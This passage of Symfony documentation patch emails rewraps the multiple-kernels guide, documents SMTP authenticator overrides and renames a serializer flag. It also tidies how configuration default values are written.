+    │  │  │  ├─ bundles.php
+    │  │  │  ├─ routes.yaml
+    │  │  │  └─ services.yaml
+    │  │  └─ src/
+    │  └─ api/
+    │     └─ ...
+
+Additionally, you might need to update your web server configuration to set the ``APP_ID=admin`` under a different domain.
+
+.. _`Shared Kernel`: http://ddd.fed.wiki.org/view/shared-kernel

From b3bee8e81626f0d7ae17979f4aa9a27d0c988087 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 May 2023 16:35:20 +0200
Subject: [PATCH 4623/7107] Minor tweaks

---
 configuration/multiple_kernels.rst | 181 +++++++++++++++++------------
 1 file changed, 108 insertions(+), 73 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 12ebaf67eda..1b8504e0748 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -1,48 +1,59 @@
 How to Create Multiple Symfony Applications with a Single Kernel
 ================================================================
 
-In most Symfony applications, incoming requests are processed by the front controller at ``public/index.php``, which
-instantiates the ``src/Kernel.php`` class to create the application kernel. This kernel loads the bundles, configurations,
-and handles the request to generate the response.
-
-The current implementation of the Kernel class serves as a convenient default for a single application. However, it can
-also manage multiple applications. While the Kernel typically runs the same application with different configurations
-based on various :ref:`environments <configuration-environments>` , it can be adapted to run different applications with
-specific bundles and configurations.
-
-These are some of the common use cases for creating multiple applications with a single Kernel:
-
-* An application that defines an API can be divided into two segments to improve performance. The first segment serves
-  the regular web application, while the second segment exclusively responds to API requests. This approach requires
-  loading fewer bundles and enabling fewer features for the second part, thus optimizing performance;
-* A highly sensitive application could be divided into two parts for enhanced security. The first part would only load
-  routes corresponding to the publicly exposed sections of the application. The second part would load the remainder of
-  the application, with its access safeguarded by the web server;
-* A monolithic application could be gradually transformed into a more distributed architecture, such as micro-services.
-  This approach allows for a seamless migration of a large application while still sharing common configurations and
-  components.
+In Symfony applications, incoming requests are usually processed by the front
+controller at ``public/index.php``, which instantiates the ``src/Kernel.php``
+class to create the application kernel. This kernel loads the bundles, the
+configuration, and handles the request to generate the response.
+
+The current implementation of the Kernel class serves as a convenient default
+for a single application. However, it can also manage multiple applications.
+While the Kernel typically runs the same application with different
+configurations based on various :ref:`environments <configuration-environments>`,
+it can be adapted to run different applications with specific bundles and configuration.
+
+These are some of the common use cases for creating multiple applications with a
+single Kernel:
+
+* An application that defines an API can be divided into two segments to improve
+  performance. The first segment serves the regular web application, while the
+  second segment exclusively responds to API requests. This approach requires
+  loading fewer bundles and enabling fewer features for the second part, thus
+  optimizing performance;
+* A highly sensitive application could be divided into two parts for enhanced
+  security. The first part would only load routes corresponding to the publicly
+  exposed sections of the application. The second part would load the remainder
+  of the application, with its access safeguarded by the web server;
+* A monolithic application could be gradually transformed into a more
+  distributed architecture, such as micro-services. This approach allows for a
+  seamless migration of a large application while still sharing common
+  configurations and components.
 
 Turning a Single Application into Multiple Applications
 -------------------------------------------------------
 
-Let's explore the steps required to convert a single application into a new one that supports multiple applications:
+These are the steps required to convert a single application into a new one that
+supports multiple applications:
 
 1. Create a new application;
 2. Update the Kernel class to support multiple applications;
 3. Add a new ``APP_ID`` environment variable;
 4. Update the front controllers.
 
-The following example shows how to create a new application for the API of a new Symfony project.
+The following example shows how to create a new application for the API of a new
+Symfony project.
 
 Step 1) Create a new Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In this example, we will use the `Shared Kernel`_ pattern, where, although all applications maintain an isolated context,
-they can share common bundles, configurations, and code if desired. The optimal approach will depend on your specific
-needs and requirements, so it's up to you to decide which best suits your project.
+This example follows the `Shared Kernel`_ pattern: all applications maintain an
+isolated context, but they can share common bundles, configuration, and code if
+desired. The optimal approach will depend on your specific needs and
+requirements, so it's up to you to decide which best suits your project.
 
-First, let's create a new ``apps`` directory at the root of your project, which will hold all the necessary applications.
-Each application will follow a simplified directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
+First, create a new ``apps`` directory at the root of your project, which will
+hold all the necessary applications. Each application will follow a simplified
+directory structure like the one described in :ref:`Symfony Best Practice </best_practices>`:
 
 .. code-block:: text
 
@@ -64,17 +75,20 @@ Each application will follow a simplified directory structure like the one descr
 
 .. note::
 
-    Note that the ``config/`` and ``src/`` directories at the root of the project will represent the shared context among
-    all applications within the ``apps/`` directory. Therefore, you should carefully consider what is common and what
-    should be placed in the specific application.
+    Note that the ``config/`` and ``src/`` directories at the root of the
+    project will represent the shared context among all applications within the
+    ``apps/`` directory. Therefore, you should carefully consider what is
+    common and what should be placed in the specific application.
 
 .. tip::
 
-    You might also consider renaming the namespace for the shared context, from ``App`` to ``Shared``, as it will make it
-    easier to distinguish and provide clearer meaning to this context.
+    You might also consider renaming the namespace for the shared context, from
+    ``App`` to ``Shared``, as it will make it easier to distinguish and provide
+    clearer meaning to this context.
 
-Since the new ``apps/api/src/`` directory will host the PHP code related to the API, we need to update the ``composer.json``
-file to include it in the autoload section:
+Since the new ``apps/api/src/`` directory will host the PHP code related to the
+API, you have to update the ``composer.json`` file to include it in the autoload
+section:
 
 .. code-block:: json
 
@@ -87,15 +101,18 @@ file to include it in the autoload section:
         }
     }
 
-Additionally, don't forget to run `composer dump-autoload` to generate the autoload files.
+Additionally, don't forget to run ``composer dump-autoload`` to generate the
+autoload files.
 
 Step 2) Update the Kernel class to support Multiple Applications
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Since we aim to support multiple applications, we will add a new property ``string $id`` to the Kernel to identify the
-application being loaded. This property will also allow us to split the cache, logs, and configuration files in order to
-avoid collisions with other applications. Moreover, it contributes to performance optimization, as each application will
-load only the required resources::
+Since there will be multiple applications, it's better to add a new property
+``string $id`` to the Kernel to identify the application being loaded. This
+property will also allow you to split the cache, logs, and configuration files
+in order to avoid collisions with other applications. Moreover, it contributes
+to performance optimization, as each application will load only the required
+resources::
 
     // src/Kernel.php
     namespace Shared;
@@ -193,14 +210,16 @@ load only the required resources::
         }
     }
 
-In this example, we reuse the default implementation to import configuration and routes based on a given configuration
-directory. As we saw earlier, this approach will import both shared and app-specific resources.
+This example reuses the default implementation to import the configuration and
+routes based on a given configuration directory. As shown earlier, this
+approach will import both the shared and the app-specific resources.
 
 Step 3) Add a new APP_ID environment variable
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Now, let's introduce a new environment variable that identifies the current application. This new variable can be added
-to the ``.env`` file to provide a default value, but it should typically be added to your web server configuration.
+Next, define a new environment variable that identifies the current application.
+This new variable can be added to the ``.env`` file to provide a default value,
+but it should typically be added to your web server configuration.
 
 .. code-block:: bash
 
@@ -209,14 +228,17 @@ to the ``.env`` file to provide a default value, but it should typically be adde
 
 .. caution::
 
-    The value of this variable must match the application directory within ``apps/`` as it is used in the Kernel to load
-    the specific application configuration.
+    The value of this variable must match the application directory within
+    ``apps/`` as it is used in the Kernel to load the specific application
+    configuration.
 
 Step 4) Update the Front Controllers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In this final step, we will update the front controllers ``public/index.php`` and ``bin/console`` to pass the value of
-the ``APP_ID`` variable to the Kernel instance. This will allow the Kernel to load and run the specified application::
+In this final step, update the front controllers ``public/index.php`` and
+``bin/console`` to pass the value of the ``APP_ID`` variable to the Kernel
+instance. This will allow the Kernel to load and run the specified
+application::
 
     // public/index.php
     use Shared\Kernel;
@@ -226,11 +248,12 @@ the ``APP_ID`` variable to the Kernel instance. This will allow the Kernel to lo
         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG'], $context['APP_ID']);
     };
 
-Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the third argument of the Kernel constructor
-is now also necessary to setting the application ID, which is derived from an external configuration.
+Similar to configuring the required ``APP_ENV`` and ``APP_DEBUG`` values, the
+third argument of the Kernel constructor is now also necessary to set the
+application ID, which is derived from an external configuration.
 
-For the second front controller, we will define a new console option to allow passing the application ID we want to run
-under CLI context::
+For the second front controller, define a new console option to allow passing
+the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
@@ -252,8 +275,9 @@ That's it!
 Executing Commands
 ------------------
 
-The ``bin/console`` script, which is used to run Symfony commands, always uses the ``Kernel`` class to build the
-application and load the commands. If you need to run console commands for a specific application, you can provide the
+The ``bin/console`` script, which is used to run Symfony commands, always uses
+the ``Kernel`` class to build the application and load the commands. If you
+need to run console commands for a specific application, you can provide the
 ``--id`` option along with the appropriate identity value:
 
 .. code-block:: terminal
@@ -266,8 +290,9 @@ application and load the commands. If you need to run console commands for a spe
     export APP_ID=api
     php bin/console cache:clear
 
-You might want to update the composer auto-scripts section to run multiple commands simultaneously. In this example,
-we assume you have a second application for managing the configuration (admin):
+You might want to update the composer auto-scripts section to run multiple
+commands simultaneously. This example shows the commands of two different
+applications called ``api`` and ``admin``:
 
 .. code-block:: json
 
@@ -282,19 +307,23 @@ we assume you have a second application for managing the configuration (admin):
         }
     }
 
-Then, run `composer auto-scripts` to test it!
+Then, run ``composer auto-scripts`` to test it!
 
 .. note::
 
-    The commands available for each console script (e.g. ``bin/console -iapi`` and ``bin/console -iadmin``) can differ
-    because they depend on the bundles enabled for each application, which could be different.
+    The commands available for each console script (e.g. ``bin/console -iapi``
+    and ``bin/console -iadmin``) can differ because they depend on the bundles
+    enabled for each application, which could be different.
 
 Rendering Templates
 -------------------
 
-Let's assume there is now another app called ``admin``. If you follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
-templates will be located in the ``templates/`` directory at the project's root. For admin-specific templates, you can
-create a new directory ``apps/admin/templates/`` which you will need to manually configure under the Admin application:
+Let's consider that you need to create another app called ``admin``. If you
+follow the :ref:`Symfony Best Practices </best_practices>`, the shared Kernel
+templates will be located in the ``templates/`` directory at the project's root.
+For admin-specific templates, you can create a new directory
+``apps/admin/templates/`` which you will need to manually configure under the
+Admin application:
 
 .. code-block:: yaml
 
@@ -303,15 +332,18 @@ create a new directory ``apps/admin/templates/`` which you will need to manually
         paths:
             '%kernel.project_dir%/apps/admin/templates': Admin
 
-Then, use this Twig namespace to reference any template within the Admin application only, for example ``@Admin/form/fields.html.twig``.
+Then, use this Twig namespace to reference any template within the Admin
+application only, for example ``@Admin/form/fields.html.twig``.
 
 Running Tests
 -------------
 
-In Symfony applications, functional tests typically extend from the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase`
-class by default. Within its parent class, ``KernelTestCase``, there is a method called ``createKernel()`` that attempts to
-create the kernel responsible for running the application during tests. However, the current logic of this method doesn't
-include our new application ID argument, so we need to make an update::
+In Symfony applications, functional tests typically extend from
+the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\WebTestCase` class by
+default. Within its parent class, ``KernelTestCase``, there is a method called
+``createKernel()`` that attempts to create the kernel responsible for running
+the application during tests. However, the current logic of this method doesn't
+include the new application ID argument, so you need to update it::
 
     // apps/api/tests/ApiTestCase.php
     namespace Api\Tests;
@@ -333,11 +365,12 @@ include our new application ID argument, so we need to make an update::
 
 .. note::
 
-    Keep in mind that we will set a fixed application ID value in this instance, as the specific test cases extending
-    from ``ApiTestCase`` will focus solely on the ``api`` tests.
+    This examples uses a hardcoded application ID value because the tests
+    extending this ``ApiTestCase`` class will focus solely on the ``api`` tests.
 
-In this situation, we have created a ``tests/`` directory inside the ``apps/api/`` application. As a result, we need to
-inform both the ``composer.json`` file and our ``phpunit.xml`` configuration about its existence:
+Now, create a ``tests/`` directory inside the ``apps/api/`` application. Then,
+update both the ``composer.json`` file and ``phpunit.xml`` configuration about
+its existence:
 
 .. code-block:: json
 
@@ -368,8 +401,9 @@ And, here is the update needed for the ``phpunit.xml`` file:
 Adding more Applications
 ------------------------
 
-Now you can begin adding more applications as needed, such as an ``admin`` application to manage the project's
-configuration and permissions. To do that, you will have to repeat the step 1 only:
+Now you can begin adding more applications as needed, such as an ``admin``
+application to manage the project's configuration and permissions. To do that,
+you will have to repeat the step 1 only:
 
 .. code-block:: text
 
@@ -384,6 +418,7 @@ configuration and permissions. To do that, you will have to repeat the step 1 on
     │  └─ api/
     │     └─ ...
 
-Additionally, you might need to update your web server configuration to set the ``APP_ID=admin`` under a different domain.
+Additionally, you might need to update your web server configuration to set the
+``APP_ID=admin`` under a different domain.
 
 .. _`Shared Kernel`: http://ddd.fed.wiki.org/view/shared-kernel

From 397e74ffc6908e4947ae6c28f2c5bbc81e4fb117 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Thu, 4 May 2023 19:51:52 +0200
Subject: [PATCH 4624/7107] Update multiple_kernels.rst

Replacing tabs with spaces
---
 configuration/multiple_kernels.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 1b8504e0748..9464fcf39f7 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -62,16 +62,16 @@ directory structure like the one described in :ref:`Symfony Best Practice </best
     │  └─ api/
     │     ├─ config/
     │     │  ├─ bundles.php
-    │	  │  ├─ routes.yaml
-    │	  │  └─ services.yaml
-    │  	  └─ src/
+    │     │  ├─ routes.yaml
+    │     │  └─ services.yaml
+    │     └─ src/
     ├─ bin/
     │  └─ console
     ├─ config/
     ├─ public/
     │  └─ index.php
     ├─ src/
-    │	└─ Kernel.php
+    │  └─ Kernel.php
 
 .. note::
 

From 4fd5f27920e020dd058be16227bc6233ab761dbf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?C=C3=A9dric=20Anne?= <cedric.anne@gmail.com>
Date: Fri, 14 Apr 2023 16:17:53 +0200
Subject: [PATCH 4625/7107] [Mailer] Document
 `EsmtpTransport::setAuthenticators()`

---
 mailer.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 8552a13f999..ab4b334700e 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -286,6 +286,29 @@ the application or when using a self-signed certificate::
 
     $dsn = 'smtp://user:pass@smtp.example.com?verify_peer=0';
 
+Overriding default SMTP authenticators
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, SMTP transports will try to login using all authentication methods
+available on the SMTP server, one after the other. In some cases, it may be useful
+to redefine the supported authentication methods to ensure that the preferred method
+will be used first.
+This can be done from ``EsmtpTransport`` constructor or using the ``setAuthenticators()`` method::
+
+    use Symfony\Component\Mailer\Transport\Smtp\Auth\XOAuth2Authenticator;
+    use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
+
+    $transport = new EsmtpTransport(
+        host: 'oauth-smtp.domain.tld',
+        authenticators: [new XOAuth2Authenticator()]
+    );
+    $transport->setAuthenticators([new XOAuth2Authenticator()]);
+
+    .. versionadded:: 6.3
+
+        The ``$authenticators`` constructor parameter and the ``setAuthenticators()`` method
+        were introduced in Symfony 6.3.
+
 Other Options
 ~~~~~~~~~~~~~
 

From ac0ea0c7805ba96bd8fdebc0ee608b78b9cc6836 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 May 2023 16:10:15 +0200
Subject: [PATCH 4626/7107] Tweaks

---
 mailer.rst | 21 ++++++++++++++-------
 1 file changed, 14 insertions(+), 7 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ab4b334700e..c40cf65d24f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -290,24 +290,31 @@ Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 By default, SMTP transports will try to login using all authentication methods
-available on the SMTP server, one after the other. In some cases, it may be useful
-to redefine the supported authentication methods to ensure that the preferred method
-will be used first.
-This can be done from ``EsmtpTransport`` constructor or using the ``setAuthenticators()`` method::
+available on the SMTP server, one after the other. In some cases, it may be
+useful to redefine the supported authentication methods to ensure that the
+preferred method will be used first.
+
+This can be done from ``EsmtpTransport`` constructor or using the
+``setAuthenticators()`` method::
 
     use Symfony\Component\Mailer\Transport\Smtp\Auth\XOAuth2Authenticator;
     use Symfony\Component\Mailer\Transport\Smtp\EsmtpTransport;
 
+    // Choose one of these two options:
+
+    // Option 1: pass the authenticators to the constructor
     $transport = new EsmtpTransport(
         host: 'oauth-smtp.domain.tld',
         authenticators: [new XOAuth2Authenticator()]
     );
+
+    // Option 2: call a method to redefine the authenticators
     $transport->setAuthenticators([new XOAuth2Authenticator()]);
 
-    .. versionadded:: 6.3
+.. versionadded:: 6.3
 
-        The ``$authenticators`` constructor parameter and the ``setAuthenticators()`` method
-        were introduced in Symfony 6.3.
+    The ``$authenticators`` constructor parameter and the ``setAuthenticators()``
+    method were introduced in Symfony 6.3.
 
 Other Options
 ~~~~~~~~~~~~~

From f6984ab62248747635cb3f83a4b74357818ff953 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 May 2023 16:49:43 +0200
Subject: [PATCH 4627/7107] [FrameworkBundle] Update the http_method_override
 default value explanation

---
 reference/configuration/framework.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a71b31b122..aff01af4c9c 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -176,7 +176,7 @@ bootstrap the Symfony framework on a cache hit.
 http_method_override
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: ``true``
+**type**: ``boolean`` **default**: (see explanation below)
 
 This determines whether the ``_method`` request parameter is used as the
 intended HTTP method on POST requests. If enabled, the
@@ -184,6 +184,13 @@ intended HTTP method on POST requests. If enabled, the
 method gets called automatically. It becomes the service container parameter
 named ``kernel.http_method_override``.
 
+The **default value** is:
+
+* ``true``, if you have an existing application that you've upgraded from an older
+  Symfony version without resyncing the :doc:`Symfony Flex </setup/flex>` recipes;
+* ``false``, if you've created a new Symfony application or updated the Symfony
+  Flex recipes. This is also the default value starting from Symfony 7.0.
+
 .. seealso::
 
     :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of

From 71a4ef468a5312692451db6bc2729d5c6e80dad8 Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@digital-craftsman.de>
Date: Fri, 5 May 2023 17:44:20 +0200
Subject: [PATCH 4628/7107] Rename context flag

---
 components/serializer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 84b5e8775b6..1b165134f52 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1242,11 +1242,11 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
-Preventing ``null`` Value Fallback for Nullable Properties
-----------------------------------------------------------
+Require all Properties
+----------------------
 
 By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::PREVENT_NULLABLE_FALLBACK`` context option
+You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
 to ``true``::
 
     class Dummy
@@ -1261,7 +1261,7 @@ to ``true``::
     $data = ['foo' => 'notNull'];
 
     $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::PREVENT_NULLABLE_FALLBACK => true]);
+    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
     // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
 
 .. versionadded:: 6.3

From 9de751cbc3becf44285985a84d102af68de1504f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 7 May 2023 22:29:00 +0200
Subject: [PATCH 4629/7107] Not add quote in default values

---
 reference/configuration/framework.rst    | 18 +++++++++---------
 reference/configuration/security.rst     |  6 +++---
 reference/configuration/twig.rst         | 10 +++++-----
 reference/configuration/web_profiler.rst |  2 +-
 reference/forms/types/collection.rst     |  2 +-
 5 files changed, 19 insertions(+), 19 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53f3aa64960..290fefb13c8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -740,7 +740,7 @@ is disabled. This can be either a template name or the content itself.
 path
 ....
 
-**type**: ``string`` **default**: ``'/_fragment'``
+**type**: ``string`` **default**: ``/_fragment``
 
 The path prefix for fragments. The fragment listener will only be executed
 when the request starts with this path.
@@ -1357,7 +1357,7 @@ requests (and not on the subrequests).
 dsn
 ...
 
-**type**: ``string`` **default**: ``'file:%kernel.cache_dir%/profiler'``
+**type**: ``string`` **default**: ``file:%kernel.cache_dir%/profiler``
 
 The DSN where to store the profiling information.
 
@@ -1553,7 +1553,7 @@ session
 storage_factory_id
 ..................
 
-**type**: ``string`` **default**: ``'session.storage.factory.native'``
+**type**: ``string`` **default**: ``session.storage.factory.native``
 
 The service ID used for creating the ``SessionStorageInterface`` that stores
 the session. This service is available in the Symfony application via the
@@ -1574,7 +1574,7 @@ To see a list of all available storages, run:
 handler_id
 ..........
 
-**type**: ``string`` **default**: ``'session.handler.native_file'``
+**type**: ``string`` **default**: ``session.handler.native_file``
 
 The service id used for session storage. The default value ``'session.handler.native_file'``
 will let Symfony manage the sessions itself using files to store the session metadata.
@@ -1666,7 +1666,7 @@ to the cookie specification.
 cookie_samesite
 ...............
 
-**type**: ``string`` or ``null`` **default**: ``'lax'``
+**type**: ``string`` or ``null`` **default**: ``lax``
 
 It controls the way cookies are sent when the HTTP request did not originate
 from the same domain that is associated with the cookies. Setting this option is
@@ -1701,7 +1701,7 @@ The possible values for this option are:
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``'auto'`` **default**: ``'auto'``
+**type**: ``boolean`` or ``'auto'`` **default**: ``auto``
 
 This determines whether cookies should only be sent over secure connections. In
 addition to ``true`` and ``false``, there's a special ``'auto'`` value that
@@ -2702,7 +2702,7 @@ annotations
 cache
 .....
 
-**type**: ``string`` **default**: ``'php_array'``
+**type**: ``string`` **default**: ``php_array``
 
 This option can be one of the following values:
 
@@ -2722,7 +2722,7 @@ a service id
 file_cache_dir
 ..............
 
-**type**: ``string`` **default**: ``'%kernel.cache_dir%/annotations'``
+**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations``
 
 The directory to store cache files for annotations, in case
 ``annotations.cache`` is set to ``'file'``.
@@ -3493,7 +3493,7 @@ marking_store
 
 Each marking store can define any of these options:
 
-* ``property`` (**type**: ``string`` **default**: ``'marking'``)
+* ``property`` (**type**: ``string`` **default**: ``marking``)
 * ``service`` (**type**: ``string``)
 * ``type`` (**type**: ``string`` **allow value**: ``'method'``)
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b811f33e2ac..22884fdbbe1 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -494,7 +494,7 @@ success_handler
     :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
     instead.
 
-**type**: ``string`` **default**: ``'security.logout.success_handler'``
+**type**: ``string`` **default**: ``security.logout.success_handler``
 
 The service ID used for handling a successful logout. The service must implement
 :class:`Symfony\\Component\\Security\\Http\\Logout\\LogoutSuccessHandlerInterface`.
@@ -506,7 +506,7 @@ If it is set, the logout ``target`` option will be ignored.
 csrf_parameter
 ..............
 
-**type**: ``string`` **default**: ``'_csrf_token'``
+**type**: ``string`` **default**: ``_csrf_token``
 
 The name of the parameter that stores the CSRF token value.
 
@@ -521,7 +521,7 @@ default service whose ID is ``security.csrf.token_manager``.
 csrf_token_id
 .............
 
-**type**: ``string`` **default**: ``'logout'``
+**type**: ``string`` **default**: ``logout``
 
 An arbitrary string used to identify the token (and check its validity afterwards).
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index fc1d4886082..1153846f35d 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -36,7 +36,7 @@ compiled again automatically.
 autoescape
 ~~~~~~~~~~
 
-**type**: ``boolean`` or ``string`` **default**: ``'name'``
+**type**: ``boolean`` or ``string`` **default**: ``name``
 
 If set to ``false``, automatic escaping is disabled (you can still escape each content
 individually in the templates).
@@ -83,7 +83,7 @@ called to determine the default escaping applied to the template.
 base_template_class
 ~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'Twig\Template'``
+**type**: ``string`` **default**: ``Twig\Template``
 
 Twig templates are compiled into PHP classes before using them to render
 contents. This option defines the base class from which all the template classes
@@ -93,7 +93,7 @@ application harder to maintain.
 cache
 ~~~~~
 
-**type**: ``string`` | ``false`` **default**: ``'%kernel.cache_dir%/twig'``
+**type**: ``string`` | ``false`` **default**: ``%kernel.cache_dir%/twig``
 
 Before using the Twig templates to render some contents, they are compiled into
 regular PHP code. Compilation is a costly process, so the result is cached in
@@ -107,7 +107,7 @@ compiled again.
 charset
 ~~~~~~~
 
-**type**: ``string`` **default**: ``'%kernel.charset%'``
+**type**: ``string`` **default**: ``%kernel.charset%``
 
 The charset used by the template files. By default it's the same as the value of
 the :ref:`kernel.charset container parameter <configuration-kernel-charset>`,
@@ -160,7 +160,7 @@ If this option is ``false``, the ``dump()`` function doesn't output any contents
 default_path
 ~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'%kernel.project_dir%/templates'``
+**type**: ``string`` **default**: ``%kernel.project_dir%/templates``
 
 The path to the directory where Symfony will look for the application Twig
 templates by default. If you store the templates in more than one directory, use
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index fc95fd96833..f0b11f47064 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -30,7 +30,7 @@ Configuration
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'^/((index|app(_[\w]+)?)\.php/)?_wdt'``
+**type**: ``string`` **default**: ``^/((index|app(_[\w]+)?)\.php/)?_wdt``
 
 When the toolbar logs AJAX requests, it matches their URLs against this regular
 expression. If the URL matches, the request is not displayed in the toolbar. This
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index f44f25d7545..c4aa8be8a7f 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -198,7 +198,7 @@ type::
 entry_type
 ~~~~~~~~~~
 
-**type**: ``string`` **default**: ``'Symfony\Component\Form\Extension\Core\Type\TextType'``
+**type**: ``string`` **default**: ``Symfony\Component\Form\Extension\Core\Type\TextType``
 
 This is the field type for each item in this collection (e.g. ``TextType``,
 ``ChoiceType``, etc). For example, if you have an array of email addresses,

From 486eacc15c75817fdba3644f5b316245be95206e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 7 May 2023 22:41:02 +0200
Subject: [PATCH 4630/7107] Add missing backticks to defaults

---
 reference/configuration/framework.rst      | 2 +-
 reference/constraints/Collection.rst       | 4 ++--
 reference/constraints/Count.rst            | 2 +-
 reference/constraints/Regex.rst            | 2 +-
 reference/forms/types/options/help.rst.inc | 2 +-
 5 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 53f3aa64960..c35eb5a575e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1117,7 +1117,7 @@ Use ``0`` to not limit the duration.
 max_duration
 ............
 
-**type**: ``float`` **default**: 0
+**type**: ``float`` **default**: ``0``
 
 The maximum execution time, in seconds, that the request and the response are
 allowed to take. A value lower than or equal to 0 means it is unlimited.
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 62595aef75e..44d0319bb84 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -379,7 +379,7 @@ Options
 ``allowExtraFields``
 ~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: false
+**type**: ``boolean`` **default**: ``false``
 
 If this option is set to ``false`` and the underlying collection contains
 one or more elements that are not included in the `fields`_ option, a validation
@@ -388,7 +388,7 @@ error will be returned. If set to ``true``, extra fields are OK.
 ``allowMissingFields``
 ~~~~~~~~~~~~~~~~~~~~~~
 
-**type**: ``boolean`` **default**: false
+**type**: ``boolean`` **default**: ``false``
 
 If this option is set to ``false`` and one or more fields from the `fields`_
 option are not present in the underlying collection, a validation error
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index d4e7e796acc..b4d6982b0fb 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -115,7 +115,7 @@ Options
 ``divisibleBy``
 ~~~~~~~~~~~~~~~
 
-**type**: ``integer`` **default**: null
+**type**: ``integer`` **default**: ``null``
 
 .. versionadded:: 5.1
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index d4ecf423fd0..6c7f34a5422 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -193,7 +193,7 @@ Options
 ``htmlPattern``
 ~~~~~~~~~~~~~~~
 
-**type**: ``string|boolean`` **default**: null
+**type**: ``string|boolean`` **default**: ``null``
 
 This option specifies the pattern to use in the HTML5 ``pattern`` attribute.
 You usually don't need to specify this option because by default, the constraint
diff --git a/reference/forms/types/options/help.rst.inc b/reference/forms/types/options/help.rst.inc
index 86f84111c88..c69e99819b3 100644
--- a/reference/forms/types/options/help.rst.inc
